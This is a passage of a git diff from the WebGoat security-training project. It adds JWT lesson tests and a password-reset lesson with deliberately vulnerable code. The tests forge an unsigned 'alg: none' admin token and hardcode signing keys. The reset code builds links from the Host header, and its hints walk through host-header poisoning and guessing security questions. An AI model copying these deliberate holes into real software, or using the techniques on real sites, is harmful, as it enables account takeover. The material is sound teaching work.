org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTVotesEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + //Create new token and set alg to none and do not sign it + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Tom"); + String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact(); + + //Call the reset endpoint + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + .contentType(MediaType.APPLICATION_JSON) + .cookie(new Cookie("access_token", token))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void resetWithoutTokenShouldNotWork() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + .contentType(MediaType.APPLICATION_JSON)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } + + @Test + public void guestShouldNotGetAToken() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Guest")) + .andExpect(status().isUnauthorized()).andExpect(cookie().value("access_token", "")); + } + + @Test + public void tomShouldGetAToken() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andExpect(cookie().value("access_token", containsString("eyJhbGciOiJIUzUxMiJ9."))); + } + + @Test + public void guestShouldNotSeeNumberOfVotes() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(new Cookie("access_token", ""))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + @Test + public void tomShouldSeeNumberOfVotes() throws Exception { + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andReturn(); + + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(result.getResponse().getCookies()[0])) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").exists()) + .andExpect(jsonPath("$[0].votingAllowed").exists()) + .andExpect(jsonPath("$[0].average").exists()); + } + + @Test + public void invalidTokenShouldSeeGuestView() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(new Cookie("access_token", "abcd.efgh.ijkl"))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + @Test + public void tomShouldBeAbleToVote() throws Exception { + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/login") + .contentType(MediaType.APPLICATION_JSON) + .param("user", "Tom")) + .andExpect(status().isOk()).andReturn(); + Cookie cookie = result.getResponse().getCookie("access_token"); + + result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(cookie)) + .andExpect(status().isOk()).andDo(print()).andReturn(); + Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); + int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(cookie)) + .andExpect(status().isAccepted()); + result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") + .cookie(cookie)) + .andExpect(status().isOk()).andReturn(); + nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); + int numberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); + assertThat(numberOfVotes).isEqualTo(currentNumberOfVotes + 1); + } + + private Map findNodeByTitle(Object[] nodes, String title) { + for (Object n : nodes) { + Map node = (Map) n; + if (node.get("title").equals(title)) { + return node; + } + } + return null; + } + + @Test + public void guestShouldNotBeAbleToVote() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(new Cookie("access_token", ""))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Intruder"); + String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + .cookie(new Cookie("access_token", token))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void unknownUserShouldSeeGuestView() throws Exception { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Intruder"); + String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); + + mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings/") + .cookie(new Cookie("access_token", token))) + .andExpect(status().isOk()) + .andExpect(jsonPath("$[0].numberOfVotes").doesNotExist()) + .andExpect(jsonPath("$[0].votingAllowed").doesNotExist()) + .andExpect(jsonPath("$[0].average").doesNotExist()); + } + + +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java new file mode 100644 index 000000000..ab922217e --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/TokenTest.java @@ -0,0 +1,56 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.base.Charsets; +import com.google.common.collect.Maps; +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import org.junit.Test; + +import java.time.Duration; +import java.time.Instant; +import java.time.LocalDateTime; +import java.time.Period; +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +public class TokenTest { + + @Test + public void test() { + String key = "qwertyqwerty1234"; + Map claims = Maps.newHashMap(); + claims.put("username", "Jerry"); + claims.put("aud", "webgoat.org"); + claims.put("email", "jerry@webgoat.com"); + String token = Jwts.builder() + .setHeaderParam("kid", "webgoat_key") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact(); + System.out.println(token); + Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token); + jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){ + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + return TextCodec.BASE64.decode(key); + } + }).parse(token); + + } + + @Test + public void testRefresh() { + Instant now = Instant.now(); //current date + Claims claims = Jwts.claims().setIssuedAt(Date.from(now.minus(Duration.ofDays(10)))); + claims.setExpiration(Date.from(now.minus(Duration.ofDays(9)))); + claims.put("admin", "false"); + claims.put("user", "Tom"); + String token = Jwts.builder().setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4") + .compact(); + //Jws jws = Jwts.parser().setSigningKey("bm5n3SkxCX4kKRy4").parseClaimsJws(token); + //Jwts.parser().setSigningKey().parsePlaintextJws(token); + System.out.println(token); + } +} diff --git a/webgoat-lessons/missing-function-ac/pom.xml b/webgoat-lessons/missing-function-ac/pom.xml index cc0fbffd4..903bf96b8 100644 --- a/webgoat-lessons/missing-function-ac/pom.xml +++ b/webgoat-lessons/missing-function-ac/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/password-reset/pom.xml b/webgoat-lessons/password-reset/pom.xml new file mode 100644 index 000000000..2835a7523 --- /dev/null +++ b/webgoat-lessons/password-reset/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + password-reset + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + v8.0.0.M15 + + + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + + diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java similarity index 57% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java index 94b1cf58b..d2e9ac6f7 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge2/Challenge2.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordReset.java @@ -1,25 +1,20 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; -import com.google.common.collect.Lists; import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.NewLesson; +import java.util.ArrayList; import java.util.List; -/** - * @author nbaars - * @since 3/21/17. - */ -public class Challenge2 extends NewLesson { - +public class PasswordReset extends NewLesson { @Override public Category getDefaultCategory() { - return Category.CHALLENGE; + return Category.AUTHENTICATION; } @Override public List getHints() { - return Lists.newArrayList(); + return new ArrayList(); } @Override @@ -29,11 +24,11 @@ public class Challenge2 extends NewLesson { @Override public String getTitle() { - return "challenge2.title"; + return "password-reset.title"; } @Override public String getId() { - return "Challenge2"; + return "PasswordReset"; } } diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java new file mode 100644 index 000000000..deec7e5f8 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/PasswordResetEmail.java @@ -0,0 +1,18 @@ +package org.owasp.webgoat.plugin; + +import lombok.Builder; +import lombok.Data; + +import java.io.Serializable; +import java.time.LocalDateTime; + +@Builder +@Data +public class PasswordResetEmail implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java new file mode 100644 index 000000000..f6c97ba89 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/QuestionsAssignment.java @@ -0,0 +1,55 @@ +package org.owasp.webgoat.plugin; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import java.time.LocalDateTime; +import java.util.HashMap; +import java.util.Map; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AssignmentPath("/PasswordReset/questions") +public class QuestionsAssignment extends AssignmentEndpoint { + + private final static Map COLORS = new HashMap<>(); + + static { + COLORS.put("admin", "green"); + COLORS.put("jerry", "orange"); + COLORS.put("tom", "purple"); + COLORS.put("larry", "yellow"); + COLORS.put("webgoat", "red"); + } + + @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult passwordReset(@RequestParam Map json) { + String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); + String username = (String) json.getOrDefault("username", ""); + + if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { + return trackProgress(failed().feedback("password-questions-wrong-user").build()); + } + + String validAnswer = COLORS.get(username.toLowerCase()); + if (validAnswer == null) { + return trackProgress(failed().feedback("password-questions-unknown-user").feedbackArgs(username).build()); + } else if (validAnswer.equals(securityQuestion)) { + return trackProgress(success().build()); + } + return trackProgress(failed().build()); + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java similarity index 66% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java index 0ef786bf8..99eb8c41e 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/ResetLinkAssignment.java @@ -1,22 +1,18 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin; -import com.beust.jcommander.internal.Lists; -import com.beust.jcommander.internal.Maps; import com.google.common.collect.EvictingQueue; -import lombok.extern.slf4j.Slf4j; +import com.google.common.collect.Maps; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.plugin.Email; -import org.owasp.webgoat.users.UserRepository; -import org.owasp.webgoat.users.WebGoatUser; -import org.springframework.beans.factory.annotation.Autowired; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.owasp.webgoat.plugin.resetlink.PasswordChangeForm; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpMethod; import org.springframework.ui.Model; -import org.springframework.util.StringUtils; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.*; import org.springframework.web.client.RestTemplate; @@ -26,25 +22,24 @@ import java.time.LocalDateTime; import java.util.Map; import java.util.UUID; -import static org.owasp.webgoat.plugin.Flag.FLAGS; -import static org.owasp.webgoat.plugin.SolutionConstants.PASSWORD_TOM_9; -import static org.owasp.webgoat.plugin.SolutionConstants.TOM_EMAIL; import static org.springframework.web.bind.annotation.RequestMethod.POST; /** * @author nbaars - * @since 4/8/17. + * @since 8/20/17. */ -@AssignmentPath("/challenge/9") -@Slf4j -public class Assignment9 extends AssignmentEndpoint { +@AssignmentPath("/PasswordReset/reset") +@AssignmentHints({"password-reset-hint1", "password-reset-hint2", "password-reset-hint3", "password-reset-hint4", "password-reset-hint5"}) +public class ResetLinkAssignment extends AssignmentEndpoint { + private static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + private static final String TOM_EMAIL = "tom@webgoat-cloud.org"; private static Map userToTomResetLink = Maps.newHashMap(); private static Map usersToTomPassword = Maps.newHashMap(); private static EvictingQueue resetLinks = EvictingQueue.create(1000); private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + - "link to reset your password." + + "link to reset your password." + "\n \n\n" + "If you did not request this password change you can ignore this message." + "\n" + @@ -52,12 +47,13 @@ public class Assignment9 extends AssignmentEndpoint { "\n\n" + "Kind regards, \nTeam WebGoat"; - @Autowired - private RestTemplate restTemplate; - @Autowired - private UserRepository userRepository; - @Value("${webwolf.url}") - private String webWolfURL; + private final RestTemplate restTemplate; + private final String webWolfMailURL; + + public ResetLinkAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfMailURL) { + this.restTemplate = restTemplate; + this.webWolfMailURL = webWolfMailURL; + } @RequestMapping(method = POST, value = "/create-password-reset-link") @ResponseBody @@ -65,10 +61,10 @@ public class Assignment9 extends AssignmentEndpoint { String resetLink = UUID.randomUUID().toString(); resetLinks.add(resetLink); String host = request.getHeader("host"); - if (StringUtils.hasText(email)) { + if (org.springframework.util.StringUtils.hasText(email)) { if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header. userToTomResetLink.put(getWebSession().getUserName(), resetLink); - fakeClickingLinkEmail(cookie, host, resetLink); + fakeClickingLinkEmail(host, resetLink); } else { sendMailToUser(email, host, resetLink); } @@ -77,18 +73,15 @@ public class Assignment9 extends AssignmentEndpoint { } private void sendMailToUser(@RequestParam String email, String host, String resetLink) { - String username; - WebGoatUser webGoatUser = userRepository.findByUsername(email.substring(0, email.indexOf("@"))); - if (webGoatUser != null) { - username = webGoatUser.getUsername(); - Email mail = Email.builder() - .title("Your password reset link for challenge 9") - .contents(String.format(TEMPLATE, host, resetLink)) - .sender("password-reset@webgoat-cloud.net") - .recipient(username) - .time(LocalDateTime.now()).build(); - restTemplate.postForEntity(webWolfURL + "/WebWolf/mail", mail, Object.class); - } + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + PasswordResetEmail mail = PasswordResetEmail.builder() + .title("Your password reset link") + .contents(String.format(TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()).build(); + restTemplate.postForEntity(webWolfMailURL, mail, Object.class); } /** @@ -96,13 +89,11 @@ public class Assignment9 extends AssignmentEndpoint { * which user we need to trace the incoming request. In normal situation this HOST will be in your * full control so every incoming request would be valid. */ - private void fakeClickingLinkEmail(String cookie, String host, String resetLink) { + private void fakeClickingLinkEmail(String host, String resetLink) { try { - HttpHeaders httpHeaders = new HttpHeaders(); - httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie)); HttpEntity httpEntity = new HttpEntity(httpHeaders); - new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); + new RestTemplate().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class); } catch (Exception e) { //don't care } @@ -114,12 +105,12 @@ public class Assignment9 extends AssignmentEndpoint { if (TOM_EMAIL.equals(email)) { String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); if (passwordTom.equals(PASSWORD_TOM_9)) { - return failed().feedback("login_failed").build(); + return trackProgress(failed().feedback("login_failed").build()); } else if (passwordTom.equals(password)) { - return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build(); + return trackProgress(success().build()); } } - return failed().feedback("login_failed.tom").build(); + return trackProgress(failed().feedback("login_failed.tom").build()); } @GetMapping("/reset-password/{link}") @@ -134,10 +125,9 @@ public class Assignment9 extends AssignmentEndpoint { } } - @PostMapping("/change-password") public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { - if (!StringUtils.hasText(form.getPassword())) { + if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { bindingResult.rejectValue("password", "not.empty"); } if (bindingResult.hasErrors()) { @@ -156,6 +146,4 @@ public class Assignment9 extends AssignmentEndpoint { String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); return resetLink.equals(resetLinkFromForm); } - } - diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java new file mode 100644 index 000000000..bcd821743 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/SimpleMailAssignment.java @@ -0,0 +1,83 @@ +package org.owasp.webgoat.plugin; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.PasswordResetEmail; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import java.time.LocalDateTime; +import java.util.Map; +import java.util.Optional; + +import static java.util.Optional.ofNullable; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AssignmentPath("/PasswordReset/simple-mail") + +public class SimpleMailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public SimpleMailAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult sendEmail(@RequestParam Map json) { + String email = (String) json.get("emailReset"); + if (StringUtils.isEmpty(email)) { + email = (String) json.getOrDefault("email", "unknown@webgoat.org"); + } + String password = (String) json.getOrDefault("password", ""); + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + + if (StringUtils.isEmpty(password)) { + return sendEmail(username, email); + } else { + return checkPassword(password, username); + } + } + + private AttackResult checkPassword(String password, String username) { + if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedbackArgs("password-reset-simple.password_incorrect").build()); + } + } + + private AttackResult sendEmail(String username, String email) { + if (username.equals(getWebSession().getUserName())) { + PasswordResetEmail mailEvent = PasswordResetEmail.builder() + .recipient(username) + .title("Simple e-mail assignment") + .time(LocalDateTime.now()) + .contents("Thanks your resetting your password, your new password is: " + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage().feedback("password-reset-simple.email_failed").output(e.getMessage()).build(); + } + return informationMessage().feedback("password-reset-simple.email_send").feedbackArgs(email).build(); + } else { + return informationMessage().feedback("password-reset-simple.email_mismatch").feedbackArgs(username).build(); + } + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java similarity index 88% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java rename to webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java index bfe2d3625..3c1afccd7 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java +++ b/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge9; +package org.owasp.webgoat.plugin.resetlink; import lombok.Getter; import lombok.Setter; diff --git a/webgoat-lessons/password-reset/src/main/resources/css/password.css b/webgoat-lessons/password-reset/src/main/resources/css/password.css new file mode 100644 index 000000000..e69de29bb diff --git a/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html new file mode 100644 index 000000000..708c4c07f --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html @@ -0,0 +1,227 @@ + + + + +
+
+
+
+
+ + + + +
+ +
+
+
+ +
+
+
+

Account + Access

+
+
+ @ + +
+
+ + +
+
+ +

+ + Forgot your password? + +

+
+
+ +
+ +
+
+
+
+
+ +
+
+
+
+
+ +
+
+
+ +
+
+ + + + +
+
+
+
+
+
+ Sign up + Login +

WebGoat Password Recovery

+ +
+ + +
+
+ + +
+
+ +
+ +
+
+
+ + +
+ +
+
+
+
+
+ +
+
+
+ +
+ +
+
+
+
+

+ + Account Access +

+
+ +
+
+ @ + +
+
+ + + + + +
+
+ +

+ + Forgot your password? + +

+
+
+ +
+ +
+
+
+ + +
+
+
+
+
+ + + \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..3b3f6bb69 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,21 @@ +password-reset.title=Password reset + +password-reset-simple.email_send=An email has been send to {0} please check your inbox. +password-reset-simple.password_incorrect=Not the correct password please try again. +password-reset-simple.email_failed=There was an error while sending the e-mail. Is WebWolf running? +password-reset-simple.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. + +password-questions-wrong-user=You need to find a different user you are logging in with 'webgoat'. +password-questions-unknown-user=User {0} is not a valid user. + +password-reset-no-user=Please supply a valid e-mail address. +password-reset-solved=Congratulations you solved the assignment, please type in the following code in the e-mail field: {0} +password-reset-not-solved=Sorry but you did not redirect the reset link to WebWolf + +password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf. +password-reset-hint2=Look at the link, can you think how the server creates this link? +password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link... +password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:8081 +password-reset-hint5=Intercept the request and change the host header +login_failed=Login failed +login_failed.tom=Sorry only Tom can login at the moment \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset1.png b/webgoat-lessons/password-reset/src/main/resources/images/reset1.png new file mode 100644 index 000000000..36793a8b5 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/reset1.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset2.png b/webgoat-lessons/password-reset/src/main/resources/images/reset2.png new file mode 100644 index 000000000..3c94b01b5 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/reset2.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack1.png b/webgoat-lessons/password-reset/src/main/resources/images/slack1.png new file mode 100644 index 000000000..34114af25 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/slack1.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack2.png b/webgoat-lessons/password-reset/src/main/resources/images/slack2.png new file mode 100644 index 000000000..1102b4211 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/slack2.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js new file mode 100644 index 000000000..65f1d20a0 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js @@ -0,0 +1,13 @@ +function showPasswordReset() { + $('#password-reset').show(); + $('#password-login').hide(); + $('#password-reset-2').show(); + $('#password-login-2').hide(); +} + +function showPassword() { + $('#password-login').show(); + $('#password-reset').hide(); + $('#password-login-2').show(); + $('#password-reset-2').hide(); +} \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc new file mode 100644 index 000000000..1daea2dc6 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc @@ -0,0 +1,18 @@ +== Creating the password reset link + +When creating a password reset link you need to make sure: + +- It is a unique link with a random token +- It can only be used once +- The link is only valid for one hour + +Send a link with a random token means an attacker cannot start a simple DOS attack to your website by starting to +block users. The link should not be used more then once which makes it impossible to change the password again. +The time out is necessary to restrict the attack window, having a link opens up a lot of possibilities for the attacker. + +== Assignment + +Tom always resets his password immediately after receiving the email with the link. +Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with +that password. + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc new file mode 100644 index 000000000..04d4690c9 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc @@ -0,0 +1,23 @@ +== Security questions + +This has been an issue and still is for a lot of websites, when you lost your password the website will ask you +for a security question which you answered during the sign up process. Most of the time this list contains a fixed +number of question and which sometimes even have a limited set of answers. In order to use this functionality +a user should be able to select a question by itself and type in the answer as well. This way users will not share +the question which makes it more difficult for an attacker. + +One important thing to remember the answers to these security question(s) should be treated with the same level of +security which is applied for storing a password in a database. If the database leaks an attacker should not be able +to perform password reset based on the answer of the security question. + +Users share so much information on social media these days it becomes difficult to use security questions for password +resets, a good resource for security questions is: http://goodsecurityquestions.com/ + +== Assignment + +Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on +this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the +password of another user. + + + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc new file mode 100644 index 000000000..c7ba7dd90 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc @@ -0,0 +1,3 